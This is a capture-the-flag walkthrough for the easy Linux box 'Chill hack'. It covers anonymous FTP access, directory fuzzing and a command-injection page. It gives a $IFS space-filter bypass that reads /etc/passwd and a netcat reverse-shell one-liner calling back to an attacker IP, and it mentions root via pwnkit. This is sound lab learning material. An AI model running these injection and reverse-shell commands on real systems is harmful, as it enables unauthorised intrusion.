V3NU5šŸ’€AL13N:~#

Hack Enumerate Harder!. Eat. Sleep. Repeat.

View on GitHub

Chill hack

Difficulty = easy

Os = linux

Hi guys ,
let’s root another fun box today šŸ”„šŸ”„.
let’s get startedšŸ¤žšŸ¤ž.

Nmap scan

nmap

As you can see we have 3 open ports which port 21(FTP) Allows anonymous login.
so let’s enumerate the port further by connecting to the ftp server using ā€œanonymousā€ as username and hitting enter to get logged in. Then download the file on the server to your local machine

anonymousftp
so, let’s check the content of the downloaded file

note

the file contains hint to the box.


let’s proceed further by fuzzing for directories using ffuf

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.10.85.120/FUZZ

fuzz

got the directory /secret
visiting the directory we can tell that the box is about command injection šŸ™‚šŸ™‚

http_command_inj_page
so, you can confirm it by executing the id command

proceeding further we noticed that our commands ain’t working due to some kinda filters

filter

i found out that spaces get filtered and thereby triggering the alert.


so, let’s bypass the filter using the ā€œinternal field separatorā€ $IFS

cat$IFS/etc/passwd should work

filer_bypass

dope! it has been bypassed. which means we have to replace the spaces with $IFS


let’s pop our sweet reverse shell by starting netcat listener and executing this commands.

rm$IFS/tmp/f;mkfifo$IFS/tmp/f;cat$IFS/tmp/f|/bin/sh -i 2>&1|nc 10.9.3.145 1337 >/tmp/f

rev-shell


cool we have a shell xD
so, stabilize the shell.

Privilege escalation

Enumeration shows that the machine is vulnerable to pwnkit using uname -a to confirm so, let’s move the pwnkit exploit to the box and run to gain root link

image we able to cat the user and root flag

image

that’s the unintended way to gain root

so let’s go the intended way:

bankai senbonzakura kagyeoshi lol šŸŒššŸ˜‚